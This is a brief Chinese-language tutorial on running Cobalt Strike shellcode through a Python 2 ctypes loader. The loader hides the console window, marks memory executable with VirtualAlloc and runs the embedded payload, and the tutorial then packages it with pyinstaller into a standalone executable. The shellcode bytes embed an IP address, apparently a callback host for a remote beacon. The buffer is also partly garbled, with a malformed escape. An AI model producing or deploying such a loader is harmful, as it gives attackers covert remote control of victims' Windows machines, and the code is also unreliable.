Cobait strike python ShellCoded 使用方法

python 的shellcode 利用方法

第一步生成payload

查看文件

然后下面的代码是python2的代码 将里面的buf替换掉

from ctypes import *
import ctypes
# length: 614 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\xf\74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x32\x30\x2e\x39\x32\x2e\x33\x33\x2e\x31\x30\x33\x00\x12\x34\x56\x78"
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr: 
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 1:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

 最后 pyinstaller --onefile python文件
